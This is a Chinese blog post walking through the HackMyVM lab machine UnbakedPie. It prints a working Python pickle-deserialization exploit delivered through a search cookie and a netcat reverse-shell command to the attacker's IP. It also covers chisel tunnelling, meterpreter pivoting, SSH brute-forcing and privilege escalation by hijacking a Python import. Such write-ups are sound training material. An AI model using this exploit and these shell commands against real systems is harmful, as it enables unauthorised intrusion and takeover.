Windy's little blog

一切生活中的杂七杂八, and I like CTF.

HackMyVm靶机UnbakedPie的Walkthrough(python反序列化,内网渗透)

    第一次搞序列化漏洞,边学边记录,参考了多篇网上资料和walkthrough。

靶机下载地址是ttps://hackmyvm.eu/machines/machine.php?vm=UnbakedPie,之前这好像也是TryHackMe的靶机,难度评级是hard。

加载运行后扫描端口,注意要加-Pn,只开了一个5003。

图片.png

   

打开后是一个博客的页面,都是一些没什么用的内容,点击登录按钮,测试一些常见的用户名和密码,未果。  


图片.png


其实,博客的名称已经提示“pickle”了。在搜索框随便搜索一个字符串,比如“123”,然后查看cookies,里面有一条是search_cookie,值是base64编码

    图片.png


把这个值反编码一下,果然包含刚才搜索的字符串。

图片.png


直接在地址栏里查看/search目录,会报错。

图片.png


查看报错页面的源代码,可以找到encoded_cookie相关代码,这就是search_cookie值的由来。

    图片.png


    下面就可以用python编写漏洞利用脚本了,代码如下:

import pickle, base64, os, requests, sys
class RCE:
    def __reduce__(self):
        cmd = sys.argv[2]
        return os.system, (cmd,)
if __name__ == '__main__':
    if len(sys.argv) != 3:
        print(f"[i]usage:python3 {sys.argv[0]} http://site:port 'payload code'")
        sys.exit()
    pickled = pickle.dumps(RCE())
    cookie = base64.urlsafe_b64encode(pickled).decode('utf-8')
    url = sys.argv[1]
    r = requests.get(f"{url}/search", cookies={"search_cookie":cookie})


执行时输入如下代码:

python3 exp.py http://192.168.56.32:5003 "nc 192.168.56.100 1234 -e /bin/bash"

本机监听1234端口,成功反弹出shell。但是这个主机名称很奇怪,看着像在docker里。

图片.png


在/root目录的bash_history里,可以看到ramsey用户和另一台机器的IP地址。

图片.png


接下来,需要登录172.17.0.1这台机器的ssh。网上有一个方法,是使用chisel建立隧道。工具的下载地址是https://github.com/jpillora/chisel。

在靶机执行:./chisel client 10.6.18.145:4445 R:127.0.0.1:4444:172.17.0.1:22

在本机执行:chisel server -p 4445 --reverse

然后就可以访问本机的4444端口。


图片.png


这里用meterpreter再试一下,顺便复习一下操作。在msfconsole里使用exploit/multi/handler,设置好端口后监听,本机运行exp.py,得到shell。

图片.png



Ctrl+Z将session暂时放在后台,使用sessions -u命令将shell升级为meterpreter。

图片.png


ipconfig查看网络信息,可以看到本机ip为172.17.0.2。

图片.png


刚才已经知道,还有一台机器是172.17.0.1,这里就不再对网络进行扫描了,直接扫这个机器的端口。首先建立路由。

图片.png


按常规程序,这时应该扫描一下172.17.0.1的端口,这里只扫几个示意一下。

图片.png


开了22和5003。下面要进行转发,将22端口转发到本机的2222,将5003转发到本机的5003(其实5003转不转无所谓了)。

图片.png


这时,就可以用ramsey用户名,在本机的2222端口爆破密码了。

图片.png


ssh登录后,进入ramsey的家目录,sudo -l可以执行vuln.py。

图片.png


经过分析,这个vuln.py代码的选项2,是对pyaload.png的文字进行识别,并调用os.eval执行,而payload.png有可写权限。因此,可以将payload.png图片中的文字替换为如下:

图片.png


传入靶机后执行,可以转为用户oliver。

图片.png


oliver可以sudo执行python,注意前面的SETENV,说明可以改变环境变量。

图片.png

查看/opt/dockerScript.py文件,发现前面有个import docker。这里,可以自建一个假的docker,让程序先加载。

图片.png


最后,顺利得到root。

图片.png


小结一下,这个靶机还是质量挺高的,学习了反序列化利用,兼顾了一些内网攻防的内容,值得玩一下。

发表评论:

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

Powered By Z-BlogPHP 1.7.0